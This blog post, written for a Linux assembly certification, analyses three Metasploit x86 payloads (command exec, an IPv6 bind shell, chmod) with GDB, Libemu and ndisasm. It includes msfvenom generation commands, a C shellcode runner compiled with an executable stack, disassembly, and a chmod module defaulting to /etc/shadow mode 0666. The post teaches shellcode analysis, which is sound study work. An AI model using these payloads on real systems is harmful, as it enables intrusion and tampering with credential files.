Custom shellcode encoder/decoder with Intel x86

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID Assignment N# GitHub
SLAE-975 5


This post will be slightly different from other ones because here, we will analyze shellcodes instead of writing them. It’s a really good exercise to learn how to use debuggers and disassemblers since that will drastically help you to understund what is going on in computer low level layers.

In order to cover multiples tools I will use three different tools:


  • Linux distribution, in my case Ubuntu 10.04 LTS (x86);
  • GDB installed;
  • Libemu installed;
  • Ndisasm installed;
  • Metasploit-framework (or download shellcode from my github repository) and
  • I have ever talked about coffee?

Note, we will use different pre-written payload from the very well known pentest framework called Metasploit. This is the Holy Bible for exploits due to is huge popularity in the cyber security field. For more information about Metasploit I highly recommend you to read this awesome guide from Offensive Security called Metasploit Unleashed (MSFU) or to go to the official website of Rapid7. Msfvenom is a component of the Metasploit-framework used for payloads generation.

If you want to install Metasploit-framework in your Linux system, you have multiples tutorials available:


Analyse with GDB (GNU Debugger)

GDB is a portable debugger software that’s allow to analyze what is happening during program execution. GDB have mutiples good features and utilities, such as:

  • pause the program execution and analyze state of program, check values of variables and registers;
  • change values of variables/registers and
  • multiples supported languages: C, C++, To, Objective-C, Fortran, Java, OpenCL C, Pascal, assembly, Modula-2 Ada languages.

For our first analyse, I have chosen to analyse the linux/x86/exec payload that execute the given command. Let us take a look at the requirements.

[email protected]:/opt/slae/assignment-5/part-1$ msfconsole -q
msf > use payload/linux/x86/exec
msf payload(exec) > show options 

Module options (payload/linux/x86/exec):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   CMD                    yes       The command string to execute

msf payload(exec) >

We generate the payload:

[email protected]:/opt/slae/assignment-5/part-1$ msfvenom --platform linux -p linux/x86/exec CMD='cat /secret.txt' \
-f c -v shellcode --arch x86 -i 0 \
-o exec_cat_secret_payload.c 
No encoder or badchars specified, outputting raw payload
Payload size: 51 bytes
Final size of c file: 246 bytes
Saved as: part-1/exec_cat_secret_payload.c
[email protected]:/opt/slae/assignment-5/part-1$ cat exec_cat_secret_payload.c 
unsigned char shellcode[] = 
[email protected]:/opt/slae/assignment-5/part-1$

For people that never used msfvenom before, let me explain you bit what all this argument do:

  • –platfrom, used to specify the target platform;
  • -p, used to specify the payload that we want to use;
  • CMD=’cat /secret.txt’, the command that we want to execute;
  • -f, the output language format (C, python, powershell, ruby and much more);
  • -v, used to specify the name of the variable used to store the shellcode;
  • –arch, the target architecture (x86 or x86_64);
  • -i, the number of iteration (for encoders) and
  • -o, used to specify the file where msfvenom will store the output.

We can create a basic C program to execute our payload:

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = 

main() {
    printf("Shellcode Length:  %d\n", strlen(shellcode));
    int (*exploit)() = (int(*)())shellcode;

Let us compile this program, attach the program to GDB, set the assembly language to Intel and finally we set a breakpoint at the beginning of our shellcode.

[email protected]:/opt/slae/assignment-5/part-1$ gcc exploit.c -o exploit -fno-stack-protector -z execstack
[email protected]:/opt/slae/assignment-5/part-1$
[email protected]:/opt/slae/assignment-5/part-1$ gdb -q ./exploit 
Reading symbols from /opt/slae/assignment-5/part-1/exploit...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) break *&shellcode
Breakpoint 1 at 0x804a040

We disassemble the payload in order to get the assembly code.

(gdb) run 
Starting program: /opt/slae/assignment-5/part-1/exploit 
Shellcode Length:  15

Breakpoint 1, 0x0804a040 in shellcode ()
(gdb) disassemble 
Dump of assembler code for function shellcode:
=> 0x0804a040 <+0>:     push   0xb
   0x0804a042 <+2>:     pop    eax
   0x0804a043 <+3>:     cdq    
   0x0804a044 <+4>:     push   edx
   0x0804a045 <+5>:     pushw  0x632d
   0x0804a049 <+9>:     mov    edi,esp
   0x0804a04b <+11>:    push   0x68732f
   0x0804a050 <+16>:    push   0x6e69622f
   0x0804a055 <+21>:    mov    ebx,esp
   0x0804a057 <+23>:    push   edx
   0x0804a058 <+24>:    call   0x804a06d <shellcode+45>
   0x0804a05d <+29>:    arpl   WORD PTR [ecx+0x74],sp
   0x0804a060 <+32>:    and    BYTE PTR [edi],ch
   0x0804a062 <+34>:    jae    0x804a0c9
   0x0804a064 <+36>:    arpl   WORD PTR [edx+0x65],si
   0x0804a067 <+39>:    je     0x804a097
   0x0804a069 <+41>:    je     0x804a0e3
   0x0804a06b <+43>:    je     0x804a06d <shellcode+45>
   0x0804a06d <+45>:    push   edi
   0x0804a06e <+46>:    push   ebx
   0x0804a06f <+47>:    mov    ecx,esp
   0x0804a071 <+49>:    int    0x80
   0x0804a073 <+51>:    add    BYTE PTR [eax],al
End of assembler dump.

Firstly, the payload set the syscall that will be used, here it’s, without any surprise, execve.

analysis 1 execve

Just after that, the payload start to build a string that represent the command that will be executed later.

analysis 1 bin sh

To found this information we can use the following commands with GDB. First we set a breakpoint at the call instruction, then we continue the execution of the program until we hit a breakpoint and finally we can take a look at the EBX and EDI registers.

(gdb) break *0x804a06d
Breakpoint 2 at 0x804a06d
(gdb) continue 

Breakpoint 2, 0x0804a06d in shellcode ()
(gdb) x/1s $ebx
0xbfffefae:     "/bin/sh"
(gdb) x/1s $edi
0xbfffefb6:     "-c"

The call instruction is executed, so, the next offset after the call instruction is pushed into the stack and the program jump to the given offset.

analysis 1 call

Finally everything is pushed into the stack, and the payload execute the execve syscall.

analysis 1 final

Successfully executed, we can read the content of the /secret.txt file.

End of assembler dump.
(gdb) stepi
process 30799 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Silence is golden
[Inferior 1 (process 30799) exited normally]

Of course, we can execute our C program without gdb:

[email protected]:/opt/slae/assignment-5/part-1$ cat /secret.txt 
Silence is golden
[email protected]:/opt/slae/assignment-5/part-1$ ./exploit
Shellcode Length:  15
Silence is golden
[email protected]:/opt/slae/assignment-5/part-1$

Analyse with Libemu

Libemu is a x86 emulator that allow access to both memory and registers. With this awesome tool, we will be able to dissect another Metasploit payload. This time we will analyse the shell_bind_ipv6_tcp payload.

msf> use payload/linux/x86/shell_bind_ipv6_tcp 
msf payload(shell_bind_ipv6_tcp) > show options 

Module options (payload/linux/x86/shell_bind_ipv6_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen ports
   RHOST                   no        The target address

msf payload(shell_bind_ipv6_tcp) >

Now we generate this payload with msfvenom and we redirect the output to the sctest program from Libemu.

[email protected]:/opt$ msfvenom -p linux/x86/shell_bind_ipv6_tcp LPORT=31337 LHOST=::1 \
> -f raw -a x86 --platform linux \
> |sctest -vv -S -s 100000
verbose = 2
No encoder or badchars specified, outputting raw payload
Payload size: 90 bytes


int socket (
     int domain = 10;
     int type = 1;
     int protocol = 0;
) =  14;
int bind (
     int sockfd = 14;
     struct sockaddr * name = {
     int addrlen = 28;
) =  0;
int listen (
     int s = 14;
     int backlog = 4288422;
) =  0;
int accept (
     int sockfd = 14;
     sockaddr_in * addr = 0x00000000 => 
     int addrlen = 0x00000000 => 
) =  19;


int dup2 (
     int oldfd = 19;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 19;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 19;
     int newfd = 0;
) =  0;
int execve (
     const char * dateiname = 0x00416f8a => 
           = "/bin//sh";
     const char * argv[] = [
           = 0x00416f82 => 
               = 0x00416f8a => 
                   = "/bin//sh";
           = 0x00000000 => 
     const char * envp[] = 0x00000000 => 
) =  0;
[email protected]:/opt$

In our case the -vv flag is used for the verbosity of the output, we can increase it or decrease it as we want. The -S is used to say to sctest to read the shellcode from stdin and finally the -s flag is used to specify the maximum step that we want to run.

The awesome thing with this tools, is that you have the complete structure of the payload, therefore, it is easy to following what it does:

  • int socket, create a socket;
  • int bind, bind the created socket;
  • int listen, listen for an incoming connection;
  • int accept, accept the incoming connection;
  • int dup2, duplicate files descriptors in order to forward stdin, stdout and stderr;
  • finally, int execve, execute /bin/sh

And, more interestingly, with the -G flag we can create a dot formatted callgraph.

[email protected]:/opt$ msfvenom -p linux/x86/shell_bind_ipv6_tcp LPORT=31337 LHOST=::1 \
> -f raw -a x86 --platform linux \
> |sctest -vv -S -s 100000 -G 


[email protected]:/opt$ 
[email protected]:/opt$ dot -T png -o bind_shell_ipv6.png
[email protected]:/opt$

Finally, we have this kind of callgraph who represent the execution of our payload:

analysis 2 bind shell ipv6

Note, pylibemu is a Python library that allows to do the same stuff with Python scripts. That can be interesting for automatizing purposes.

Github repository:

Analyse with NDIASM

Ndisasm is a binary disassembler, a really useful tool when you have a binary and you want to learn what he is doing. This time we will take a look at the linux/x86/chmod Metasploit payload.

msf > use payload/linux/x86/chmod 
msf payload(chmod) > show options 

Module options (payload/linux/x86/chmod):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   FILE  /etc/shadow      yes       Filename to chmod
   MODE  0666             yes       File mode (octal)

msf payload(chmod) >

We can generate our payload and redirect the output (in raw format) to ndisasm in order to get the assembly code.

[email protected]:/opt$ msfvenom -p linux/x86/chmod FILE=/secret.txt MODE=0777 -f raw --platform linux --arch x86 \
> |ndisasm -u -p intel -
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes

00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E80C000000        call dword 0x16
0000000A  2F                das
0000000B  7365              jnc 0x72
0000000D  637265            arpl [edx+0x65],si
00000010  742E              jz 0x40
00000012  7478              jz 0x8c
00000014  7400              jz 0x16
00000016  5B                pop ebx
00000017  68FF010000        push dword 0x1ff
0000001C  59                pop ecx
0000001D  CD80              int 0x80
0000001F  6A01              push byte +0x1
00000021  58                pop eax
00000022  CD80              int 0x80
[email protected]:/opt$

So, we disassembled the binary (created with msfvenom) with ndisasm and now we can begin the code analyse. First, the payload initialise registers and set the value of the EAX register to 15, the chmod syscall id.

cdq                ; zeroed EAX and EDX
push byte +0xf     ; 0xf = 15
pop eax            ; #define __NR_chmod
push edx           ; push 0

Then the payload jump to the pop ebx instruction that will push the targeted file name into the EBX register.

call dword 0x16    ; JMP to POP EBX & push the return address
das                ; \
jnc 0x72           ;  |
arpl [edx+0x65],si ;  | /secret.txt
jz 0x40            ;  |
jz 0x8c            ;  |
jz 0x16            ; /
pop ebx            ; EBX = /secret.txt

Finally, the given mode is push into the stack and stored into the ECX register then the payload execute the chmod syscall and exit the program.

push dword 0x1ff   ; 0x1ff = 511
pop ecx            ; ECX = 0777
int 0x80           ; Interruption
push byte +0x1     ; 0x1 = 1
pop eax            ; #define __NR_exit
int 0x80           ; Interruption

We can generate your binary directly with msfvenom instead of using a C program.

msfvenom -p linux/x86/chmod FILE=/secret.txt MODE=0777 -f elf -v shellcode --platform linux --arch x86 -b '\x00' -o chmod
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 63 (iteration=0)
x86/shikata_ga_nai chosen with final size 63
Payload size: 63 bytes
Final size of elf file: 147 bytes
Saved as: chmod

And as expected, the payload change the accessibility of the file.

analysis 3 chmod

Other Tools

In this blog post we saw three tools, but you can find and learn other much advanced debugger/disassembler for Linux, such as:

  • Binary Ninja and
  • Radar2.

This post is focused on the Linux, but if you searching for Windows debuggers/disassemblers, you can use:

  • Immunity Debugger;
  • OllyDBG x86 or x86_64;
  • Windbg and
  • IDA.